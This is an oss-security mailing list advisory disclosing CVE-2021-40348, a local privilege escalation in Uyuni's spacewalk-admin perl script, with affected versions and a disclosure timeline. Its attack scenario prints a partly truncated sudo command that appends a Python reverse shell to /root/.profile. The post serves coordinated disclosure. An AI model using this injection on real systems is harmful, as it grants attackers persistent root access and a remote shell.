Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 28 Oct 2021 15:43:23 +0200
From: Paolo Perego <>
Subject: spacewalk-admin: CVE-2021-40348: arbitrary local code execution by
 'tomcat' user via

# Description

Hello list, during an internal audit a vulnerability was found in a perl 
script from the uyuni[1] component (previously known as spacewalk[2], 
discontinued on March 31st 2020). Uyuni is a configuration and 
infrastructure management tool helping sysadmin's in their tasks over a 
huge multitude of assets.

The script is intended to be run by the 'tomcat' 
user using sudo without any password, to adjust Uyuni configuration.

Due to a missing sanitization of the filename that can be used as config 
file, a rogue 'tomcat' user can append arbitrary code to any files that 
eventually will be executed later on by higher privileged users.

Please consider the following attack scenario. An attacker gains 
'tomcat' user on the victim server. Rogue 'tomcat' executes the 
following command:

sudo /usr/bin/ --target=/root/.profile 
--option="export RHOST=\"\";export RPORT=4444;python -c 
for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'"

The python code implementing a reverse shell is then appended to the 
/root/.profile file and executed everytime root logs in. This results in 
having arbitrary code execution with superuser privileges on the victim 

# Affected versions

This vulnerability was fixed in spacewalk-admin version 4.3.2-1 [3] (by 
this commit on upstream [4]). All spacewalk-admin versions before 
4.3.2-1 are vulnerable

# Timeline:

2021-08-30: vulnerability was reported to upstream authors

2021-08-31: upstream authors acknowledge the vulnerability start working 
on the fix.

2021-08-31: received CVE from Mitre and offered authors an embargo until 

2021-10-27: authors published fixes for a product containing spacewalk 
as component

2021-10-28: authors published fixes in upstream repository and 
publication of findings





(*_  Paolo Perego                           @thesp0nge

//\  Software security engineer     

V_/_ 0A1A 2003 9AE0 B09C 51A4 7ACD FC0D CEA6 0806 294B

(*_  Paolo Perego                           @thesp0nge
//\  Software security engineer     
V_/_ 0A1A 2003 9AE0 B09C 51A4 7ACD FC0D CEA6 0806 294B

Download attachment "OpenPGP_0xFC0DCEA60806294B.asc" of type "application/pgp-keys" (4749 bytes)

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.